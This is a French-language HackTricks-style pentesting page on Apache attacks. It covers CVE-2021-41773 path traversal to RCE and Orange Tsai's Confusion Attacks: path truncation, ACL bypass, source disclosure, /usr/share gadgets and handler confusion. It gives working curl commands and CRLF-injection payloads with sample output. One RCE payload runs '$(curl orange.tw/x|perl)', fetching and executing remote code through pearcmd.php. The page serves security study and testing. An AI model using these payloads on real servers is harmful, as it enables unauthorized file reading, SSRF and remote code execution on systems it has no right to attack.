# Apache

{{#include ../../banners/hacktricks-training.md}}

## Extensions PHP exécutables

Vérifiez quelles extensions sont exécutées par le serveur Apache. Pour les rechercher, vous pouvez exécuter :
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Aussi, certains endroits où vous pouvez trouver cette configuration sont :
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>

Ces types d'attaques ont été introduits et documentés [**par Orange dans cet article de blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) et ce qui suit est un résumé. L'attaque "confusion" abuse essentiellement de la façon dont les dizaines de modules qui travaillent ensemble pour créer un Apache ne fonctionnent pas parfaitement synchronisés et faire en sorte que certains d'entre eux modifient des données inattendues peut provoquer une vulnérabilité dans un module ultérieur.

### Filename Confusion

#### Truncation

Le **`mod_rewrite`** va tronquer le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement faux car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres occasions, cela sera traité comme un chemin de fichier, ce qui pourrait poser un problème.

- **Path Truncation**

Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?`:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Attribution trompeuse de RewriteFlag**

Dans la règle de réécriture suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Par conséquent, il est possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le chemin un type de fichier différent (comme une image) contenant du code php malveillant à l'intérieur :
```bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **Contournement d'ACL**

Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas pouvoir accéder, même si l'accès devrait être refusé avec des configurations comme :
```xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
C'est parce que par défaut, PHP-FPM recevra des URL se terminant par `.php`, comme `http://server/admin.php%3Fooo.php` et parce que PHP-FPM supprimera tout ce qui suit le caractère `?`, l'URL précédente permettra de charger `/admin.php` même si la règle précédente l'interdisait.

### Confusion DocumentRoot
```bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html
```
Un fait amusant à propos d'Apache est que la réécriture précédente essaiera d'accéder au fichier à la fois depuis le documentRoot et depuis la racine. Ainsi, une requête à `https://server/abouth.html` vérifiera la présence du fichier dans `/var/www/html/about.html` et `/about.html` dans le système de fichiers. Ce qui peut essentiellement être exploité pour accéder à des fichiers dans le système de fichiers.

#### **Divulgation de Code Source Côté Serveur**

- **Divulguer le Code Source CGI**

Il suffit d'ajouter un %3F à la fin pour divulguer le code source d'un module cgi :
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
- **Divulguer le code source PHP**

Si un serveur a différents domaines dont l'un est un domaine statique, cela peut être exploité pour traverser le système de fichiers et divulguer du code php :
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Manipulation des gadgets locaux**

Le principal problème avec l'attaque précédente est qu'en règle générale, la plupart des accès au système de fichiers seront refusés comme dans le [modèle de configuration](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) du serveur HTTP Apache :
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Cependant, les systèmes d'exploitation [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) autorisent par défaut `/usr/share` :
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Par conséquent, il serait possible d'**abuser des fichiers situés dans `/usr/share` dans ces distributions.**

**Gadget local pour la divulgation d'informations**

- **Apache HTTP Server** avec **websocketd** peut exposer le script **dump-env.php** à **/usr/share/doc/websocketd/examples/php/**, ce qui peut divulguer des variables d'environnement sensibles.
- Les serveurs avec **Nginx** ou **Jetty** pourraient exposer des informations sensibles sur les applications web (par exemple, **web.xml**) à travers leurs racines web par défaut placées sous **/usr/share** :
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**

**Gadget local pour XSS**

- Sur Ubuntu Desktop avec **LibreOffice installé**, exploiter la fonction de changement de langue des fichiers d'aide peut conduire à **Cross-Site Scripting (XSS)**. Manipuler l'URL à **/usr/share/libreoffice/help/help.html** peut rediriger vers des pages malveillantes ou des versions antérieures via **unsafe RewriteRule**.

**Gadget local pour LFI**

- Si PHP ou certains packages front-end comme **JpGraph** ou **jQuery-jFeed** sont installés, leurs fichiers peuvent être exploités pour lire des fichiers sensibles comme **/etc/passwd** :
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**

**Gadget local pour SSRF**

- En utilisant **MagpieRSS's magpie_debug.php** à **/usr/share/php/magpierss/scripts/magpie_debug.php**, une vulnérabilité SSRF peut être facilement créée, fournissant une porte d'entrée pour d'autres exploits.

**Gadget local pour RCE**

- Les opportunités pour **Remote Code Execution (RCE)** sont vastes, avec des installations vulnérables comme un **PHPUnit** obsolète ou **phpLiteAdmin**. Celles-ci peuvent être exploitées pour exécuter du code arbitraire, montrant le potentiel étendu de la manipulation des gadgets locaux.

#### **Jailbreak à partir des gadgets locaux**

Il est également possible de jailbreaker à partir des dossiers autorisés en suivant les symlinks générés par les logiciels installés dans ces dossiers, comme :

- **Cacti Log** : `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data** : `/usr/share/solr/data/` -> `/var/lib/solr/data`
- **Solr Config** : `/usr/share/solr/conf/` -> `/etc/solr/conf/`
- **MediaWiki Config** : `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config** : `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`

De plus, en abusant des symlinks, il a été possible d'obtenir **RCE dans Redmine.**

### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>

Cette attaque exploite le chevauchement de fonctionnalité entre les directives `AddHandler` et `AddType`, qui peuvent toutes deux être utilisées pour **activer le traitement PHP**. À l'origine, ces directives affectaient différents champs (`r->handler` et `r->content_type` respectivement) dans la structure interne du serveur. Cependant, en raison de code hérité, Apache gère ces directives de manière interchangeable dans certaines conditions, convertissant `r->content_type` en `r->handler` si le premier est défini et le second ne l'est pas.

De plus, dans le serveur Apache HTTP (`server/config.c#L420`), si `r->handler` est vide avant d'exécuter `ap_run_handler()`, le serveur **utilise `r->content_type` comme handler**, rendant effectivement `AddType` et `AddHandler` identiques en effet.

#### **Écraser le handler pour divulguer le code source PHP**

Dans [**cette présentation**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), une vulnérabilité a été présentée où un `Content-Length` incorrect envoyé par un client peut amener Apache à **retourner le code source PHP**. Cela était dû à un problème de gestion des erreurs avec ModSecurity et l'Apache Portable Runtime (APR), où une double réponse conduit à écraser `r->content_type` en `text/html`.\
Parce que ModSecurity ne gère pas correctement les valeurs de retour, il retournerait le code PHP et ne l'interpréterait pas.

#### **Écraser le handler pour XXXX**

TODO : Orange n'a pas encore divulgué cette vulnérabilité

### **Inviter des handlers arbitraires**

Si un attaquant est capable de contrôler l'en-tête **`Content-Type`** dans une réponse du serveur, il sera en mesure d'**inviter des handlers de module arbitraires**. Cependant, au moment où l'attaquant contrôle cela, la plupart du processus de la requête sera déjà effectué. Cependant, il est possible de **redémarrer le processus de requête en abusant de l'en-tête `Location`** car si le `Status` retourné est 200 et que l'en-tête `Location` commence par un `/`, la réponse est traitée comme une redirection côté serveur et doit être traitée.

Selon [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spécification sur CGI) dans [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) définit un comportement de réponse de redirection locale :

> Le script CGI peut retourner un chemin URI et une chaîne de requête (‘local-pathquery’) pour une ressource locale dans un champ d'en-tête Location. Cela indique au serveur qu'il doit reprocesser la requête en utilisant le chemin spécifié.

Par conséquent, pour effectuer cette attaque, l'une des vulnérabilités suivantes est nécessaire :

- Injection CRLF dans les en-têtes de réponse CGI
- SSRF avec contrôle complet des en-têtes de réponse

#### **Handler arbitraire pour la divulgation d'informations**

Par exemple, `/server-status` ne devrait être accessible que localement :
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête Location commençant par `/`
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Gestionnaire arbitraire vers SSRF complet**

Redirection vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL :
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux points de terminaison de métadonnées cloud.

#### **Gestionnaire arbitraire pour accéder au socket de domaine Unix local**

Accédez au socket de domaine Unix local de PHP-FPM pour exécuter un backdoor PHP situé dans `/tmp/`:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Gestionnaire arbitraire pour RCE**

L'image officielle [PHP Docker](https://hub.docker.com/_/php) inclut PEAR (`Pearcmd.php`), un outil de gestion de paquets PHP en ligne de commande, qui peut être abusé pour obtenir RCE :
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Vérifiez [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), écrit par [Phith0n](https://x.com/phithon_xg) pour les détails de cette technique.

## Références

- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)

{{#include ../../banners/hacktricks-training.md}}